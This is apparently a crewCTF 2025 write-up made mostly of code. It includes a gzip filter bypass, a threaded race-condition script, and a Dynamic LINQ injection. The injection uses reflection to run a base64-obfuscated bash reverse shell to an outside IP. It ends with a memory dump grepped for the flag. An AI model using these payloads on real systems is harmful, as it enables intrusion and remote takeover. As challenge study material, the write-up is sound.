crewCTF 2025 wp

	go func() {
		for {
			n, err := client.Read(buf)
			if err != nil {
				if err == io.EOF {
					slog.Info("Client EOF -> CloseRequest")
					_ = protocol.SendCloseRequest(agent.Conn, agentConnID)
				}
				clientToAgent <- err
				return
			}

			data := buf[:n]

			keywords := [][]byte{
				[]byte("chunked"),
				[]byte("json"),
				[]byte("urlencoded"),
				[]byte("give me flag!"),
			}

			for _, kw := range keywords {
				lowerData := bytes.ToLower(data)
				lowerKw := bytes.ToLower(kw)
				searchIdx := 0
				for {
					idx := bytes.Index(lowerData[searchIdx:], lowerKw)
					if idx == -1 {
						break
					}
					idx += searchIdx
					replacement := []byte("REDACTED")
					if len(replacement) > len(kw) {
						replacement = replacement[:len(kw)]
					} else if len(replacement) < len(kw) {
						padding := make([]byte, len(kw)-len(replacement))
						for i := range padding {
							padding[i] = ' '
						}
						replacement = append(replacement, padding...)
					}
					copy(data[idx:idx+len(kw)], replacement)

					searchIdx = idx + len(kw)
				}
			}
			slog.Debug("Client -> Agent", slog.String("data", string(data)))
			_ = protocol.SendDataPacket(agent.Conn, agentConnID, data)
		}
	}()

@app.before_request
def decompress_request():
    encoding = request.headers.get("Content-Encoding", "").lower()
    if encoding in ("gzip", "deflate"):
        raw_data = request.get_data()
        try:
            if encoding == "gzip":
                data = gzip.GzipFile(fileobj=io.BytesIO(raw_data)).read()
            elif encoding == "deflate":
                try:
                    data = zlib.decompress(raw_data)
                except zlib.error:
                    data = zlib.decompress(raw_data, -zlib.MAX_WBITS)
            request._cached_data = data
            request.environ["wsgi.input"] = io.BytesIO(data)
            request.content_length = len(data)
        except Exception as e:
            return f"Failed to decompress request body: {e}", 400

import requests
import gzip

BASE_URL = ""

def get_flag1():
    payload = b"GIVE ME FLAG!"
    try:
        compressed_payload = gzip.compress(payload)
    except Exception as e:
        return None
    headers = {
        'Content-Encoding': 'gzip',
        'Content-Type': 'application/octet-stream'
    }
    url = f"{BASE_URL}/path"
    try:
        response = requests.post(url, data=compressed_payload, headers=headers, timeout=5)
        
        if response.status_code == 200 and "OK HERE IS YOUR FLAG" in response.text:
            flag = response.text.split(': ')[-1].strip()
            print(flag)
            return flag
        else:
            print(response.text)
            return None
            
    except requests.exceptions.RequestException as e:
        return None

if __name__ == "__main__":
    flag1 = get_flag1()

var connections = make(map[uint32]net.Conn)

connID := util.GenerateConnID(int(m.Port))
connections[connID] = outConn

import requests
import threading
import time

BASE_URL = ""

FLAG = None
STOP_THREADS = threading.Event()

def exploit(session):
    try:
        session.get(f"{BASE_URL}/admin_check", timeout=1, stream=True)
        response = session.get(f"{BASE_URL}/admin", timeout=2)
        if "I am admin, here is your flag" in response.text:
            global FLAG
            FLAG= response.text.split(': ')[-1].strip()
            print(FLAG)
            STOP_THREADS.set()
    except Exception:
        pass

if __name__ == "__main__":
    num_threads = 50
    threads = []
    start_time = time.time()
    for i in range(num_threads):
        session = requests.Session()
        thread = threading.Thread(target=exploit, args=(session,), name=f"{i+1}")
        threads.append(thread)
        thread.start()
        time.sleep(0.01)

    for thread in threads:
        thread.join(timeout=1)

  public IEnumerable<Note> GetLatestNotes(string title, int page = 0)
  {
      string query = "Title.Contains(\"" + title + "\")";

      return this._notes
          .AsQueryable()
          .OrderByDescending(n => n.CreatedAt)
          .Where(query)
          .Skip(page * 10)
          .Take(10);
  }

    public static void InitializeBookKeeper(IServiceCollection services)
    {
        string bookKeeper
            = Path.Join(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location),
                "BookKeeper.dll");
        if (!File.Exists(bookKeeper))
        {
            throw new Exception($"Couldn't find {bookKeeper}");
        }

        byte[] bytes = File.ReadAllBytes(bookKeeper);
        Assembly assembly = AppDomain.CurrentDomain.Load(bytes);

        Type initializer = assembly.GetExportedTypes().First(n => n.Name == "Initializer");
        initializer.GetMethod("Initialize")!.Invoke(null, [services]);

        File.Delete(bookKeeper);
    }
}

".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()
.Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First()
.GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))
.GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last()
.Invoke(null, new Object[]{"/usr/bin/bash", "-c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEzLjE5Mi41MC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"}).ToString() + "asd

wget https://aka.ms/dotnet-dump/linux-x64
chmod +x linux-x64
./linux-x64 collect -p 1 -o dump.dmp
grep -a -o "c.r.e.w.{.*}" dump.dmp | tr -d '\\0'

#crew{dotnet_reflection_is_weird_is_it_not__why_do_i_care}